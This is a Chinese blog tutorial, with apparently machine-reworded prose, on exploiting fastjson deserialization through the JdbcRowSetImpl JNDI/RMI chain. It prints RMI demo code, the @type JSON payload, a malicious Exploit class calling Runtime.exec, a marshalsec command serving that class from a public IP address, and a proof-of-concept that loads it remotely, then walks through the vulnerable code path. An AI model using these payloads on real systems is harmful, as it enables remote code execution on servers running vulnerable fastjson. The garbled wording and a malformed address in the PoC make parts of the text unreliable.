从0开始fastjson系统漏洞剖析2

  从0开始fastjson系统漏洞剖析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html

  拥有前文埋下伏笔,可以说对fastjson內部体制和fastjson的反序列化解决早已了如指掌

  大概步骤以下,简易说下:当启用Parse的情况下,会先检索@type,随后根据JSONSCanner分辨客户的json键入,分辨开始是不是{和",随后获得大家的键入@type类,根据JSONSCannerSymbool去分析,获得大家@type的值,应用结合的方法储存这一故意类(便是大家@type的值),对故意类实例化,反序列化,根据反射面启用类中全部方式(get/set)和类中的特性,把获得到的方式开展解决,对获得到的特性开展实例化和反序列化,并应用结合封裝解决.分辨是不是set开始的方式,如果是,把set**后边的字段名实例化随后反序列化.例如大家的bytecodes,对大家的键入编解码,那麼大家的键入便是编号

  不可有可无的运用链:JNDI && JdbcRowSetImpl利⽤链

  先学习培训jndi:

    jdni实际含意:  

JNDI 即Java Naming and Directory Interface(JAVA 取名和文件目录插口),那麼Java 取名的目地便是为了更好地纪录一些不方便纪录的內容,如同DNS 中的网站域名与IP 的关联,存有一一对应的关联。

JNDI 被界定为单独于一切特殊的文件目录服务项目完成。因而,能够以通用性方法浏览各种各样文件目录。

  jndi一个具体情景便是spring boot下的连接数据库养金鱼的鱼缸:

    

 

 

  根据远程控制启用,其最底层基本原理便是应用的jndi.

  JNDI构架:

  

 

 

  在其中在fastjson漏洞检测中,最常见的便是ldap和rmi了. 即便是一点都不明白系统漏洞基本原理的,坚信在打fastjson系统漏洞的情况下也会碰到这两个协议书

  她们的实际含意是:  

轻形文件目录浏览协议书(LDAP )。
Java远程控制方式启用(RMI )注册表文件。

  大家以rmi为例子,写一段demo:

  rmi的目地非常简单:便是要使运作在不一样的电子计算机中的目标中间的启用主要表现得像当地启用一样。

  远程控制接口标准:

    IRemoteTest.java

package com.test.fastjson.jndi;

import java.rmi.Remote;
import java.rmi.RemoteException;

//务必承继Remote种类,务必抛出异常
public interface IRemoteTest extends Remote {
    public String test() throws RemoteException;
}

 

  插口完成类:

    IRemoteTestImpl.java

package com.test.fastjson.jndi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
//远程控制插口完成
public class IRemoteTestImpl extends UnicastRemoteObject implements IRemoteTest {
    protected IRemoteTestImpl() throws RemoteException {
        super();
    }

    @Override
    public String test() throws RemoteException {
        return Thread.currentThread().getStackTrace()
                [1].getMethodName() "被远程控制启用了";
    }
}

    

  

  撰写服务器端关联:

    Server.java

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

//服务器端关联
public class Server {
    IRemoteTest iRemoteTest;

    public void server() throws RemoteException, AlreadyBoundException, MalformedURLException {
        iRemoteTest = new IRemoteTestImpl();
        //远程控制目标注册表文件案例
        LocateRegistry.createRegistry(6666);
        //把远程控制目标申请注册到RMI申请注册网络服务器上
        Naming.bind("rmi://127.0.0.1:6666/test",iRemoteTest);
        System.out.println("server关联取得成功");
    }
}

  撰写手机客户端,启用远程控制目标:

  Client.java:

  

package com.test.fastjson.jndi;

import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

//手机客户端启用服务器端申明的目标
public class Client {
    public IRemoteTest iRemoteTest;

    public void client() throws RemoteException, NotBoundException, MalformedURLException {
        //在RMI注册表文件中搜索特定目标
        iRemoteTest = (IRemoteTest) Naming.lookup("rmi://127.0.0.1:6666/test");
        //启用远程控制目标方式
        System.out.println("client:");
        System.out.println(iRemoteTest.test());
    }
}

  撰写检测类:

    

package com.test.fastjson.jndi;

import org.junit.Test;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMITest {
    @Test
    public void testServer() throws MalformedURLException, RemoteException, AlreadyBoundException {
        Server server = new Server();
        server.server();
        while(true);
    }

    @Test
    public void testClient() throws RemoteException, NotBoundException, MalformedURLException {
        Client client = new Client();
        client.client();
    }
}

  先启用服务器端,随后手机客户端远程控制启用方式:

    

 

 

 

 

  运行手机客户端:

     

 

  

  了解了rmi后,大家看来下JNDI && JdbcRowSetImpl利⽤链

  exp以下:

    

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps_ip/Exploit", "autoCommit":true}

    在其中看到应用rmi,见到Exploit,根据前边的rmi学习,能够了解Exploit便是大家远程控制目标Exploit,大家远程控制启用Exploit类目标:

  根据前边学习培训rmi,我们可以仿真模拟服务器端,可是许多 情况下很不便,这儿依靠老前辈的专用工具:迅速构建故意rmi/ldap服务器端:

  marshalsec, RMI / LDAP 故意网络服务器迅速构建⼯具,下载链接:https://GitHub.com/mbechler/marshalsec

  写个故意类:

   

 老先生成故意类字节码:

  javac Exploit转化成class字节码

  Exploit.java->javac Exploit.java ->Exploit.class:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;

public class Exploit implements ObjectFactory, Serializable {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        }catch (IOException e){
            e.printStackTrace();
        }

    }

    public static void main(String[] args){
        Exploit exploit = new Exploit();
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

  迅速构建rmi/ldap网络服务器:

   

java -cp marshalsec-0.0.1-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer http://119.45.227.86/#Exploit

 

 

 

  

 

 

 

 

  那样便会转化成服务器端的监视,等候接受手机客户端的启用:

    rmi默认设置端口号1099,能够自定设定端口号:

  在结尾加端口号就可以:

  

 

 

  手机客户端启用服务器端:

  Exploit:    

    

package com.test.fastjson.Exploit_chain2;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class ExploitPoc {
    public static void main(String[] args) {
        String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123:7777/Exploit\",\"autoCommit\":true}";
        JSON.parse(poc);
    }
}

  就可以完成指令实行,很有可能一部分人没法进行复测取得成功,由于ldap/rmi受制于jdk版本限定:

    

ldap可用 JDK11.0.1/8u191/7u201/6u211以前,rmi可用JDK8u113/7u122/6u132以前

  前边开始大家简易的解读了下fastjson反序列化的步骤,如今大家静态数据调节剖析下:

    最先反射面进到JdbcRowSetImpl或是debug Parse涵数:

    

 

 

  查询界定的特性:

    

   private Connection conn;
    private PreparedStatement ps;
    private ResultSet rs;
    private RowSetMetaDataImpl rowsMD;
    private ResultSetMetaData resMD;
    private Vector<Integer> iMatchColumns;
    private Vector<String> strMatchColumns;
    protected transient JdbcRowSetResourceBundle resBundle;

  

  查询set和get方式:  

    

 

  有相匹配的get和set方式,因此 不用Feature.SupportNonPublicField

  依据exp看一下datasource特性:

  设定datasource:

  

 

    对datasource开展取值:

    

 

 

  然后启用setAutoCommit:  

    

 

 

  一定要让conn为null,因此 exp里边没设定conn,为null才可以开启else标准,走else标准会启用connent方式和设定autocommit:

  跟踪this.connect():

  当今目标方式,那麼就在这一类里边:

    

 

 

 

   关键:

    

 

 

   databasesoucrename能够外界界定!

  根据lookup远程控制搜索,启用故意类,进而完成rce,便是那么简易           

评论(0条)

刀客源码 游客评论